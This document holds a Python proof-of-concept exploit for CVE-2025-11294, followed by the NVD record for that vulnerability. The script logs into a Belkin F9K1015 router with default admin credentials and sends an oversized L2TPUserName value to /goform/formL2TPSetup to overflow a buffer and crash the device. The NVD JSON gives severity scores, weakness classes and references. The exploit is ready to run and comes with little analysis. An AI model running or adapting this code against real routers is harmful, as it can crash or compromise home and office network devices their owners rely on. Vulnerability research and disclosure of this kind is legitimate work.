CVE-2025-11294

#!/usr/bin/env python3 # CVE-2025-11294 - Belkin F9K1015 formL2TPSetup Buffer Overflow PoC # Exploits buffer overflow in L2TPUserName parameter # Author: Security Researcher import requests import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.1.1" USERNAME = "admin" PASSWORD = "admin" def exploit(target_url, username, password): """ Trigger buffer overflow in /goform/formL2TPSetup via L2TPUserName parameter. The vulnerable endpoint does not validate input length before copying L2TPUserName into a fixed-size buffer. """ session = requests.Session() session.verify = False # Step 1: Authenticate with low-privilege credentials login_url = f"{target_url}/login.cgi" login_data = { "pws": password, "username": username } try: resp = session.post(login_url, data=login_data, timeout=10) print(f"[*] Login attempt status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Craft malicious L2TPUserName payload (overflow buffer) # Buffer size estimated ~64 bytes; use 512 bytes to trigger overflow payload = "A" * 512 # Step 3: Send overflow payload to vulnerable endpoint exploit_url = f"{target_url}/goform/formL2TPSetup" exploit_data = { "L2TPUserName": payload, "L2TPPassword": "test123", "L2TPServerIP": "1.1.1.1", "L2TPEnable": "1" } try: resp = session.post(exploit_url, data=exploit_data, timeout=10) print(f"[*] Exploit sent. Status: {resp.status_code}") print(f"[*] Response length: {len(resp.content)}") # Check if device crashed (connection refused or timeout) try: check = session.get(target_url, timeout=5) print(f"[-] Device still responsive: {check.status_code}") except: print("[+] Device appears to have crashed - possible successful exploitation!") return True except Exception as e: print(f"[+] Connection error (possible crash): {e}") return True if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") exploit(TARGET_URL, USERNAME, PASSWORD)

{"cve": {"id": "CVE-2025-11294", "sourceIdentifier": "[email protected]", "published": "2025-10-05T16:15:46.760", "lastModified": "2025-10-07T17:27:33.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in Belkin F9K1015 1.00.10. Affected by this issue is some unknown functionality of the file /goform/formL2TPSetup. The manipulation of the argument L2TPUserName results in buffer overflow. The attack may be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:belkin:f9k1015_firmware:1.00.10:*:*:*:*:*:*:*", "matchCriteriaId": "3DEB0AFD-4E01-4FD5-8A41-6BD0E2D4DF0B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:belkin:f9k1015:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D273CA6-07A9-43B2-87B3-D0DE1A5B89FA"}]}]}], "references": [{"url": "https://github.com/panda666-888/vuls/blob/main/belkin/f9k1015/formL2TPSetup.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/panda666-888/vuls/blob/main/belkin/f9k1015/formL2TPSetup.md#poc", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327175", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327175", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.661298", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://github.com/panda666-888/vuls/blob/main/belkin/f9k1015/formL2TPSetup.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/panda666-888/vuls/blob/main/belkin/f9k1015/formL2TPSetup.md#poc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}